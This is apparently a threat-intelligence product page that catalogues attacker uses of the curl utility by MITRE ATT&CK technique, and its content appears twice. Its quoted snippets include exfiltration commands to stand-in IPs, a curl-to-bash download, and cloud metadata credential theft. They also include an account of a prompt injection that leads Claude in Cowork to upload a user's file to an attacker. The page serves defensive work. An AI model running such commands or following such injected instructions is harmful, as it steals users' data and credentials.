Malware

Curl

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

21 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

2 techniques

T1590Gather Victim Network InformationEvidence1

curl による robots.txt / sitemap.xml / HTTP/HTTPS 応答確認

T1595Active ScanningEvidence2

より高頻度で偵察フェーズの攻撃に転用されてしまうのではないか、ということです。

Resource Development

1 technique

T1588.002ToolEvidence1

It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult.

Initial Access

1 technique

T1078.004Cloud AccountsEvidence1

The attackers completed the OAuth handshake required to obtain a Dropbox API token, using a single registered Dropbox application identified by client_id.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

When the user asks Cowork to analyze their files using the uploaded 'skill,' the injection takes over. It tells Claude to run a curl command that sends the largest available file to Anthropic's File Upload API using the attacker's API key.

T1059.004Unix ShellEvidence2

That command downloads a remote shell script using curl, pipes it directly into bash...

Persistence

1 technique

T1078.004Cloud AccountsEvidence1

The attackers completed the OAuth handshake required to obtain a Dropbox API token, using a single registered Dropbox application identified by client_id.

Privilege Escalation

1 technique

T1078.004Cloud AccountsEvidence1

The attackers completed the OAuth handshake required to obtain a Dropbox API token, using a single registered Dropbox application identified by client_id.

Stealth

3 techniques

T1036MasqueradingEvidence1

Another way in which argv[0] can be exploited, is by manipulating it in such a way that it fools humans... security software often represents the array as a space-separated string.

T1078.004Cloud AccountsEvidence1

The attackers completed the OAuth handshake required to obtain a Dropbox API token, using a single registered Dropbox application identified by client_id.

T1218System Binary Proxy ExecutionEvidence1

The choice to use the system's openssl binary rather than a Python cryptography library... The final bundle... is exfiltrated via a raw HTTP POST to the C2's root endpoint, using curl.

Credential Access

3 techniques

T1110Brute ForceEvidence1

CVE-2025-60424 is caused by a missing rate limiting control on the OTP verification endpoint in Nagios Fusion... The vulnerable versions do not restrict the number of OTP attempts per user, session, or IP address. There is also no progressive account lockout after repeated failures. An attacker with valid credentials can automate OTP submissions using tools like cURL or Python scripts. Since OTPs are typically 6-digit numbers, the attacker can attempt up to 1,000,000 combinations.

T1552.005Cloud Instance Metadata APIEvidence2

With root on the host... Let's check this (remember we are using IMDSv2). TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" ...` curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/

T1621Multi-Factor Authentication Request GenerationEvidence1

After a user authenticates with a valid username and password, the application prompts for a one-time password (OTP) as a second authentication factor... An attacker with valid credentials can automate OTP submissions using tools like cURL or Python scripts.

Collection

2 techniques

T1113Screen CaptureEvidence1

Apart from monitoring the clipboard, the malware also captures five screenshots of the victim’s screen every ten seconds and sends them to the C2 using the curl tool.

T1114Email CollectionEvidence1

The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder.

Command and Control

2 techniques

T1071.001Web ProtocolsEvidence1

curl https://api.dropbox.com/oauth2/token ... curl -X POST https://content.dropboxapi.com/2/files/upload ... curl "https://onedrive.live.com/..." ... curl -F file=@c:\windows\temp\TS_C7E3.tmp https://temp.sh/upload -k

T1105Ingress Tool TransferEvidence7

While the attackers continued to use Dropbox for primary uploads and downloads...

Exfiltration

6 techniques

T1041Exfiltration Over C2 ChannelEvidence5

A tool called curl is used to send data to a .onion website. ... /recvf.php to upload screenshots

T1048Exfiltration Over Alternative ProtocolEvidence1

For example, an alert for possible data exfiltration might be triggered when curl -T secret.txt 123.45.67.89 is executed... as it uploads file secret.txt to IP address 123.45.67.89 via HTTP.

T1048.002Exfiltration Over Asymmetric Encrypted Non-C2 ProtocolEvidence1

Data posted using Curl through Tor via local SOCKS5 proxying... Method: curl with POST requests.

T1048.003Exfiltration Over Unencrypted Non-C2 ProtocolEvidence2

PhantomCore uses unencrypted HTTP connections and the curl utility to download TXT files with information about infected hosts to an external VDS server

T1567Exfiltration Over Web ServiceEvidence4

Then: curl.exe POST https://203.0.113.42/api/upload ... (8 chunks × ~6 MB)

T1567.002Exfiltration to Cloud StorageEvidence1

Once the token was obtained, the attackers used curl to upload data to the Dropbox content endpoint... From late November 2025 onwards... they also added a second exfiltration channel: OneDrive Personal.

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

bleeping computerNews

Feb 24, 2026

North Korean Lazarus group linked to Medusa ransomware attacks

Command-line data transfer utility listed as used in the observed attack toolset (commodity tool).

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping21

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

Malware

Curl

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

MITRE ATT&CK

Techniques & procedures

21 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

2 techniques

T1590Gather Victim Network InformationEvidence1

curl による robots.txt / sitemap.xml / HTTP/HTTPS 応答確認

T1595Active ScanningEvidence2

より高頻度で偵察フェーズの攻撃に転用されてしまうのではないか、ということです。

Resource Development

1 technique

T1588.002ToolEvidence1

It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult.

Initial Access

1 technique

T1078.004Cloud AccountsEvidence1

The attackers completed the OAuth handshake required to obtain a Dropbox API token, using a single registered Dropbox application identified by client_id.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

T1059.004Unix ShellEvidence2

That command downloads a remote shell script using curl, pipes it directly into bash...

Persistence

1 technique

T1078.004Cloud AccountsEvidence1

The attackers completed the OAuth handshake required to obtain a Dropbox API token, using a single registered Dropbox application identified by client_id.

Privilege Escalation

1 technique

T1078.004Cloud AccountsEvidence1

The attackers completed the OAuth handshake required to obtain a Dropbox API token, using a single registered Dropbox application identified by client_id.

Stealth

3 techniques

T1036MasqueradingEvidence1

Another way in which argv[0] can be exploited, is by manipulating it in such a way that it fools humans... security software often represents the array as a space-separated string.

T1078.004Cloud AccountsEvidence1

The attackers completed the OAuth handshake required to obtain a Dropbox API token, using a single registered Dropbox application identified by client_id.

T1218System Binary Proxy ExecutionEvidence1

The choice to use the system's openssl binary rather than a Python cryptography library... The final bundle... is exfiltrated via a raw HTTP POST to the C2's root endpoint, using curl.

Credential Access

3 techniques

T1110Brute ForceEvidence1

T1552.005Cloud Instance Metadata APIEvidence2

T1621Multi-Factor Authentication Request GenerationEvidence1

Collection

2 techniques

T1113Screen CaptureEvidence1

Apart from monitoring the clipboard, the malware also captures five screenshots of the victim’s screen every ten seconds and sends them to the C2 using the curl tool.

T1114Email CollectionEvidence1

The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder.

Command and Control

2 techniques

T1071.001Web ProtocolsEvidence1

T1105Ingress Tool TransferEvidence7

While the attackers continued to use Dropbox for primary uploads and downloads...

Exfiltration

6 techniques

T1041Exfiltration Over C2 ChannelEvidence5

A tool called curl is used to send data to a .onion website. ... /recvf.php to upload screenshots

T1048Exfiltration Over Alternative ProtocolEvidence1

For example, an alert for possible data exfiltration might be triggered when curl -T secret.txt 123.45.67.89 is executed... as it uploads file secret.txt to IP address 123.45.67.89 via HTTP.

T1048.002Exfiltration Over Asymmetric Encrypted Non-C2 ProtocolEvidence1

Data posted using Curl through Tor via local SOCKS5 proxying... Method: curl with POST requests.

T1048.003Exfiltration Over Unencrypted Non-C2 ProtocolEvidence2

PhantomCore uses unencrypted HTTP connections and the curl utility to download TXT files with information about infected hosts to an external VDS server

T1567Exfiltration Over Web ServiceEvidence4

Then: curl.exe POST https://203.0.113.42/api/upload ... (8 chunks × ~6 MB)

T1567.002Exfiltration to Cloud StorageEvidence1

ACTIVITY FEED

Recent activity

1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

1 SOURCESView more in app

bleeping computerNews

Feb 24, 2026

North Korean Lazarus group linked to Medusa ransomware attacks

Command-line data transfer utility listed as used in the observed attack toolset (commodity tool).

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping21

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.